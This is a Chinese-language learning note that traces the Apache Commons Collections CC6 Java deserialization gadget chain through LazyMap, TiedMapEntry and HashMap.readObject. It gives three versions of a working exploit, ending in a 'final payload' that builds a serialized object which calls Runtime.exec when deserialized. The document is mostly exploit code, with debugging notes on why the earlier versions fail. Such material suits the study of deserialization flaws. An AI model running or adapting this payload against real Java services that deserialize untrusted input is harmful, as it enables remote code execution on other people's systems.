cc6 链

public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

我们还要使用一个ChainedTransformer类的transform方法

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

aaa
这次使用lazymap

此处有一个get使用了transform

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

发现TiedMapEntry

    public Object getValue() {
        return map.get(key);
    }

接下来要寻找getValue

hashmap的readObject()

    putVal(hash(key), key, value, false, false);

调用到hash()
hash()调用key.hashCode()

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

连上TiedMapEntry的hashcode()即可进行利用

public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

问题payload

package org.example.cc.cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6h1 {

    public static String cls2str(Class cls){
        return cls.getClass().toString().replace("class ","");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};


        ChainedTransformer it = new ChainedTransformer(transformers);
        Map map = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,it);

        TiedMapEntry tmp = new TiedMapEntry(lazyMap,"aaa");
        Map m = new HashMap<>();

        m.put(tmp,"bbb");
                serialize(m);

已经运行了不可以反序列化

修改
要去掉lazymap的it
然后反射赋值

package org.example.cc.cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6h1 {

    public static String cls2str(Class cls){
        return cls.getClass().toString().replace("class ","");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};


        ChainedTransformer it = new ChainedTransformer(transformers);
        Map map = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,new ChainedTransformer(new Transformer[]{}));


        TiedMapEntry tmp = new TiedMapEntry(lazyMap,"aaa");
        Map m = new HashMap<>();

        m.put(tmp,"bbb");

        Class cls = lazyMap.getClass();
        Field feild = cls.getDeclaredField("factory");
        feild.setAccessible(true);
        feild.set(lazyMap,it);

        serialize(m);
        unserialize("ser.bin");

    }
}

没有执行
为什么?

调试一下
原来要lazymap get 的key为null才可以运行

     public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

序列化时存入了aaa
所以要去除

最终payload

package org.example.cc.cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6h1 {

    public static String cls2str(Class cls){
        return cls.getClass().toString().replace("class ","");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};


        ChainedTransformer it = new ChainedTransformer(transformers);
        Map map = new HashMap();
//        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,it);
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,new ChainedTransformer(new Transformer[]{}));

        TiedMapEntry tmp = new TiedMapEntry(lazyMap,"aaa");
        Map m = new HashMap<>();

        m.put(tmp,"bbb");

        Class cls = lazyMap.getClass();
        Field feild = cls.getDeclaredField("factory");
        feild.setAccessible(true);
        feild.set(lazyMap,it);
//
        lazyMap.remove("aaa");

        serialize(m);
        unserialize("ser.bin");

    }
}